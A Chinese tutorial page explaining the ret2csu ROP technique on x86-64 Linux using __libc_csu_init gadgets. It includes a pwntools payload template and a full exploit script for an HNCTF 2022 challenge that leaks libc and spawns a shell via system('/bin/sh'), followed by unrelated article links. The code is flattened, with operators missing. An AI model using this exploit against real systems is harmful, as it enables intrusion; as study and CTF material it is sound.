当前位置: 首页 > article >正文

Linux x64 ROP链不够用?试试这个藏在__libc_csu_init里的‘万能’gadget(附Python pwntools脚本)

突破ROP链限制深入挖掘__libc_csu_init中的通用gadget在64位Linux系统的漏洞利用开发中构造可靠的ROP链常常面临一个棘手问题——难以找到控制所有必要寄存器的gadget片段。特别是当需要精确设置rdx、rsi等寄存器时传统的ROP技术往往会遇到瓶颈。本文将揭示一个被许多开发者忽视的强大工具glibc中的__libc_csu_init函数。1. 理解64位Linux下的函数调用约定在x86-64架构中函数调用遵循特定的寄存器传参规则前六个参数依次通过rdi、rsi、rdx、rcx、r8、r9寄存器传递额外的参数通过栈传递返回值存储在rax寄存器中这种设计虽然提升了性能但在漏洞利用场景下却带来了挑战。完整的ROP链通常需要控制多个寄存器而实际环境中可用的gadget往往有限。常见寄存器控制难度排序从易到难rdi通常有大量pop rdi; ret类gadgetrsi相对较少但仍有可用gadgetrdx最难控制的关键寄存器2. __libc_csu_init函数的结构解析__libc_csu_init是glibc中的初始化函数几乎所有的动态链接程序都会包含它。这个函数包含两个特别有用的代码段2.1 尾部pop链0x40061A-0x400624.text:000000000040061A pop rbx .text:000000000040061B pop rbp .text:000000000040061C pop r12 .text:000000000040061E pop r13 .text:0000000000400620 pop r14 .text:0000000000400622 pop r15 .text:0000000000400624 retn这段代码允许我们通过栈控制rbx、rbp、r12-r15六个寄存器为后续操作奠定基础。2.2 中部mov/call链0x400600-0x400614.text:0000000000400600 mov rdx, r13 .text:0000000000400603 mov rsi, r14 .text:0000000000400606 mov edi, r15d .text:0000000000400609 call qword ptr [r12rbx*8]这段代码实现了三个关键操作将r13的值赋给rdx将r14的值赋给rsi将r15d的低32位赋给edi即rdi的低32位3. 组合利用技巧与实战策略3.1 基本利用流程控制执行流通过栈溢出等漏洞将返回地址覆盖为pop链起始地址设置寄存器值rbx 0避免call指令偏移rbp 1确保循环条件满足r12 目标函数地址r13 rdx值r14 rsi值r15 rdi值触发函数调用返回到mov/call链地址3.2 参数传递对照表寄存器对应参数位置控制方式rdi第1参数通过r15设置rsi第2参数通过r14设置rdx第3参数通过r13设置函数地址-通过r12设置3.3 Python pwntools实现模板from pwn import * context.arch amd64 def ret2csu(elf, rbx, rbp, r12, r13, r14, r15, ret_addr): # 定位gadget地址 csu_end_addr 0x40061A # pop链起始地址 csu_front_addr 0x400600 # mov/call链起始地址 payload bA * 0x80 # 填充缓冲区 payload p64(csu_end_addr) payload p64(rbx) p64(rbp) p64(r12) payload p64(r13) p64(r14) p64(r15) payload p64(csu_front_addr) payload bB * 0x38 # 填充中间部分 payload p64(ret_addr) # 后续返回地址 return payload4. 高级技巧与变体利用4.1 偏移利用发掘更多gadget通过分析__libc_csu_init的机器码我们可以发现更多隐藏的gadget# 获取额外gadget的示例 def find_extra_gadgets(base_addr): gadgets { pop rsi: base_addr 0x21, pop rdi: base_addr 0x23, pop rsp: base_addr 0x1D } return gadgets4.2 不同glibc版本的差异处理不同版本的glibc中__libc_csu_init的布局可能略有不同。建议通过以下方式确保兼容性使用objdump或IDA分析目标二进制确认pop链和mov链的具体偏移动态调试验证gadget效果4.3 限制条件下的优化策略当可用payload空间有限时可以考虑分阶段利用多次触发漏洞逐步设置寄存器状态寄存器重用利用已控制的寄存器间接影响其他寄存器短payload技巧精确计算最小所需空间优化填充内容5. 实战案例HNCTF ret2csu挑战解析以HNCTF 2022的ret2csu题目为例演示完整利用流程信息收集检查二进制保护机制NX enabled, no PIE定位漏洞点vuln函数中的缓冲区溢出确定可用gadget地址利用步骤第一次溢出泄露write函数地址计算libc基址和system地址第二次溢出写入/bin/sh字符串第三次溢出触发system(/bin/sh)完整利用脚本from pwn import * from LibcSearcher import LibcSearcher elf context.binary ELF(./ret2csu) libc elf.libc if args.LOCAL else None def exploit(): if args.LOCAL: p process(elf.path) else: p remote(node5.anna.nssctf.cn, 28938) # Gadget地址 csu_end 0x4012AA csu_front 0x401290 # 第一次溢出泄露write地址 payload flat({ 0x100: [ csu_end, 0, 1, elf.got[write], 8, elf.got[write], 1, csu_front, 0, 0, 0, 0, 0, 0, 0, elf.sym[main] ] }) p.send(payload) write_addr u64(p.recv(8)) # 计算libc基址 if not libc: libc LibcSearcher(write, write_addr) libc_base write_addr - libc.dump(write) else: libc_base write_addr - libc.sym[write] system_addr libc_base (libc.sym[system] if libc else libc.dump(system)) binsh_addr libc_base next(libc.search(b/bin/sh)) # 第二次溢出调用system(/bin/sh) payload flat({ 0x100: [ csu_end, 0, 1, elf.got[read], 16, elf.bss(), 0, csu_front, 0, 0, 0, 0, 0, 0, 0, elf.sym[main] ] }) p.send(payload) p.send(p64(system_addr) b/bin/sh\x00) # 第三次溢出获取shell payload flat({ 0x100: [ csu_end, 0, 1, elf.bss(), binsh_addr, 0, elf.bss()8, csu_front ] }) p.send(payload) p.interactive() if __name__ __main__: exploit()6. 防御与检测建议虽然ret2csu技术强大但防御者也可以采取相应措施编译时防护使用-fno-plt和-fno-pic减少可用gadget启用-Wl,-z,now实现完全RELRO运行时检测监控非正常流程的__libc_csu_init调用分析ROP链中不寻常的返回地址组合架构级防护考虑使用CETControl-flow Enforcement Technology部署ASLR与堆栈保护机制在实际漏洞利用开发中ret2csu技术展现了二进制安全研究的精妙之处——通过深入理解系统底层机制即使在限制条件下也能找到创造性的解决方案。掌握这一技术需要扎实的汇编基础、耐心细致的调试技巧以及对程序执行流程的深刻理解。

相关文章:

Linux x64 ROP链不够用?试试这个藏在__libc_csu_init里的‘万能’gadget(附Python pwntools脚本)

突破ROP链限制:深入挖掘__libc_csu_init中的通用gadget 在64位Linux系统的漏洞利用开发中,构造可靠的ROP链常常面临一个棘手问题——难以找到控制所有必要寄存器的gadget片段。特别是当需要精确设置rdx、rsi等寄存器时,传统的ROP技术往往会遇…...

MCP 2026智能调度落地实录:从CPU争抢率飙升92%到资源利用率稳定在89.6%的5步闭环优化法

更多请点击: https://intelliparadigm.com 第一章:MCP 2026智能调度落地实录:从CPU争抢率飙升92%到资源利用率稳定在89.6%的5步闭环优化法 在某金融核心交易系统升级MCP 2026调度引擎后,集群CPU争抢率一度飙升至92%,导…...

【AISMM医疗行业实践黄金标准】:基于2026奇点大会12家头部厂商实测报告,锁定唯一通过NMPA III类证预审的架构范式

更多请点击: https://intelliparadigm.com 第一章:AISMM医疗行业实践黄金标准的诞生背景与战略意义 近年来,全球医疗健康数据呈指数级增长,AI模型在影像诊断、药物发现、电子病历分析等场景深度落地,但模型开发、验证…...

5分钟快速上手大麦网自动抢票脚本:告别手动抢票烦恼

5分钟快速上手大麦网自动抢票脚本:告别手动抢票烦恼 【免费下载链接】Automatic_ticket_purchase 大麦网抢票脚本 项目地址: https://gitcode.com/GitHub_Trending/au/Automatic_ticket_purchase 还在为抢不到心仪的演唱会门票而烦恼吗?每次热门演…...

告别SPI波形抓瞎:S32K3 LPSPI时钟极性(CPOL/CPHA)配置详解与调试技巧

S32K3 LPSPI时钟配置实战:从波形分析到精准调试的完整指南 在嵌入式开发中,SPI通信的稳定性往往决定着整个系统的可靠性。当面对S32K3系列MCU的LPSPI模块时,工程师们最常遇到的挑战莫过于时钟相位(CPOL/CPHA)配置与实际波形不符导致的通信故障…...

SQLCoder终极指南:如何用15行代码让AI帮你写SQL查询

SQLCoder终极指南:如何用15行代码让AI帮你写SQL查询 【免费下载链接】sqlcoder 项目地址: https://ai.gitcode.com/hf_mirrors/defog/sqlcoder 想象一下这个场景:你正盯着复杂的数据库表结构,脑子里有个业务问题,却不知道…...

在 OpenClaw Agent 工作流中集成 Taotoken 统一管理模型调用

在 OpenClaw Agent 工作流中集成 Taotoken 统一管理模型调用 1. 准备工作 在开始集成前,请确保已安装 OpenClaw 框架并具备基础开发环境。同时需要拥有有效的 Taotoken API Key,可在 Taotoken 控制台的「API 密钥」页面创建。模型 ID 可通过模型广场查…...

Docker日志审计必须国产化?27天倒计时!信创替代窗口期仅剩最后47天,这份含SM2签名+时间戳防篡改的配置脚本请立刻保存

更多请点击: https://intelliparadigm.com 第一章:Docker日志审计国产化替代的紧迫性与政策依据 随着《网络安全法》《数据安全法》《关键信息基础设施安全保护条例》及《信创产业发展指南(2023—2035)》的深入实施,容…...

Cat-Catch终极实战指南:5步快速精通网页资源嗅探

Cat-Catch终极实战指南:5步快速精通网页资源嗅探 【免费下载链接】cat-catch 猫抓 浏览器资源嗅探扩展 / cat-catch Browser Resource Sniffing Extension 项目地址: https://gitcode.com/GitHub_Trending/ca/cat-catch 你是否曾在网上看到精彩视频却苦于无法…...

别再盲目布线了!用贪心算法和模拟退火优化多波束测量效率(Python/Matlab双版本)

多波束测量效率革命:贪心算法与模拟退火的黄金组合(Python/Matlab实战) 当海底测绘工程师面对复杂地形时,最头疼的莫过于如何在保证全覆盖的前提下,让测船跑出最短路径。传统经验式布线不仅耗时耗力,还可能…...

EBERLE AD-41/051475000100模拟输入模块

EBERLE AD-41/051475000100模拟输入模块专为工业现场设计,用于采集传感器信号,具备高精度与高可靠性。多通道输入:支持4或8通道,节省空间。信号兼容:可配置接入0-20mA、4-20mA或0-10V信号。高分辨率:12-16位…...

DeepPCB:面向工业级PCB缺陷检测的数据集技术架构深度解析

DeepPCB:面向工业级PCB缺陷检测的数据集技术架构深度解析 【免费下载链接】DeepPCB A PCB defect dataset. 项目地址: https://gitcode.com/gh_mirrors/de/DeepPCB 数据集技术架构设计原理 DeepPCB数据集采用分层架构设计,为印刷电路板缺陷检测提…...

别再只会让RGB灯变色了!用Arduino UNO和PWM玩转呼吸灯、渐变跑马灯(附完整代码)

Arduino PWM灯光艺术:从呼吸灯到智能渐变系统的进阶指南 1. 突破基础RGB控制的技术瓶颈 当你已经能让RGB灯简单地切换颜色时,是否想过这些闪烁的灯光背后隐藏着更丰富的表达可能?PWM(脉冲宽度调制)技术就像一位隐形的灯…...

【2026年6月】英语四级高频核心词汇1500+历年真题pdf电子版

2026年上半年全国大学四级考试将于6月13日举行!帮助广大考生高效备考,小编精心整理了2026年6月英语四级CET4核心词汇1500个,PDF电子版,可下载打印! 资料下载: 资料下载https://pan.quark.cn/s/c0e98156a95…...

VMware虚拟机安装Windows Server 2022 教程

马上就要开学了,想必很多计算机网络专业的同学们要开始接触到Windows Server了,这也是计算机网络技术专业的专业基础课程,想当年我们实训课学习使用的好像是2008版的,也不晓得现在各个学校会用到哪个版本实操,盲猜应该…...

AI试衣项目IDM-VTON本地部署避坑指南:解决环境冲突、C盘爆满与离线运行难题

AI试衣神器IDM-VTON实战部署全攻略:从环境配置到离线优化 最近在折腾AI试衣项目IDM-VTON的本地部署,发现网上教程大多只讲基础步骤,对实际部署中的各种"坑"避而不谈。作为一个踩过所有坑的老手,我把完整解决方案整理成这…...

【2026】新大纲普通话考试真题题库50套(PDF电子版)

2026年国家普通话水平测试 依据《国家普通话水平测试大纲(2024修订版)》,新版考试标准自2024年1月1日起实施,2026年考试将全面执行新大纲要求。 核心测试内容调整 测试项目数量考察重点朗读短文50篇声调准确性、语流音变规范性…...

解放你的B站缓存视频:m4s-converter完全指南

解放你的B站缓存视频:m4s-converter完全指南 【免费下载链接】m4s-converter 一个跨平台小工具,将bilibili缓存的m4s格式音视频文件合并成mp4 项目地址: https://gitcode.com/gh_mirrors/m4/m4s-converter 你是否曾在B站缓存了珍贵的教学视频、精…...

CookieCutter Web界面:图形化模板管理的终极解决方案

CookieCutter Web界面:图形化模板管理的终极解决方案 【免费下载链接】cookiecutter A cross-platform command-line utility that creates projects from cookiecutters (project templates), e.g. Python package projects, C projects. 项目地址: https://gitc…...

如何在fastbook中实现自定义损失函数:从基础到实践的完整指南

如何在fastbook中实现自定义损失函数:从基础到实践的完整指南 【免费下载链接】fastbook The fastai book, published as Jupyter Notebooks 项目地址: https://gitcode.com/gh_mirrors/fa/fastbook 损失函数是深度学习模型训练的核心组件,它指导…...

League Akari:基于模块化架构的英雄联盟客户端工具箱技术解析

League Akari:基于模块化架构的英雄联盟客户端工具箱技术解析 【免费下载链接】League-Toolkit An all-in-one toolkit for LeagueClient. Gathering power 🚀. 项目地址: https://gitcode.com/gh_mirrors/le/League-Toolkit League Akari是一个基…...

提升开发效率:用快马AI替代git搜索与整合,一键生成定制化管理后台

作为一个经常需要快速搭建原型的前端开发者,我最近在尝试用InsCode(快马)平台来提升工作效率。特别是在需要快速验证某个功能或展示给团队评审时,传统方式往往要花费大量时间在git上搜索合适的样板代码,再手动整合各种依赖和功能模块。而快马…...

Android开发中的蓝牙与WiFi技术深度解析

随着移动互联网的飞速发展,Android平台在智能设备连接中扮演着核心角色。蓝牙和WiFi作为无线通信的两大支柱技术,被广泛应用于物联网、智能家居、健康监测等领域。本文将以Android开发工程师的视角,深度剖析蓝牙和WiFi的核心实现、优化策略及常见问题。文章基于标准职位要求…...

【VAE 论文阅读| ICLR 2014】:变分自编码器——深度生成模型的理论基石

论文信息 标题:Auto-Encoding Variational Bayes会议:ICLR 2014单位:阿姆斯特丹大学代码:https://github.com/dpkingma/vae论文:https://arxiv.org/pdf/1312.6114.pdf 一、前言:生成模型的“不可能三角” …...

Nacos 2.3.0版本升级注意:连接达梦DM数据库的Docker配置变了,你的驱动包挂载路径对了吗?

Nacos 2.3.0版本升级实战:达梦DM数据库驱动挂载路径变更详解 最近在帮客户部署基于国产化数据库的微服务架构时,遇到了一个典型问题:Nacos 2.3.0版本对驱动加载机制做了调整,导致按照旧版本教程配置的达梦DM数据库连接无法正常工作…...

为什么选择node-feedparser?深度解析其核心优势与独特功能

为什么选择node-feedparser?深度解析其核心优势与独特功能 【免费下载链接】node-feedparser Robust RSS, Atom, and RDF feed parsing in Node.js 项目地址: https://gitcode.com/gh_mirrors/no/node-feedparser 在Node.js开发中,处理RSS、Atom和…...

【RED-Net | NIPS 2016论文阅读】:对称跳跃连接的深度编解码图像复原网络

论文信息 标题:Image Restoration Using Very Deep Convolutional Encoder-Decoder Networks with Symmetric Skip Connections会议:NIPS 2016单位:南京大学、阿德莱德大学代码:https://github.com/helloxiaojiao/RED-Net论文&…...

手把手调试MIPI DBI显示:用逻辑分析仪抓取Type A/B时序波形,快速定位花屏、闪屏问题

手把手调试MIPI DBI显示:用逻辑分析仪抓取Type A/B时序波形,快速定位花屏、闪屏问题 调试MIPI DBI接口的显示问题时,硬件时序分析往往是最后一道防线。当软件配置检查无误后,花屏、闪屏或无法点亮的故障通常源于信号完整性或时序偏…...

安卓demo-壁纸预览、分屏小窗与U盘播放时长记忆功能

壁纸预览 1.背景 有的项目需要做壁纸功能,就会用到壁纸预览功能。类似于手机上的壁纸预览功能: 选择图片->点击预览->桌面上的组件、应用图片名称等会出现在壁纸上。 图1.实际桌面与壁纸预览界面 2.现状分析 现在桌面已经做成一个应用了&…...

TensorFlow Recommenders多任务学习指南:同时优化多个推荐目标

TensorFlow Recommenders多任务学习指南:同时优化多个推荐目标 【免费下载链接】recommenders TensorFlow Recommenders is a library for building recommender system models using TensorFlow. 项目地址: https://gitcode.com/gh_mirrors/rec/recommenders …...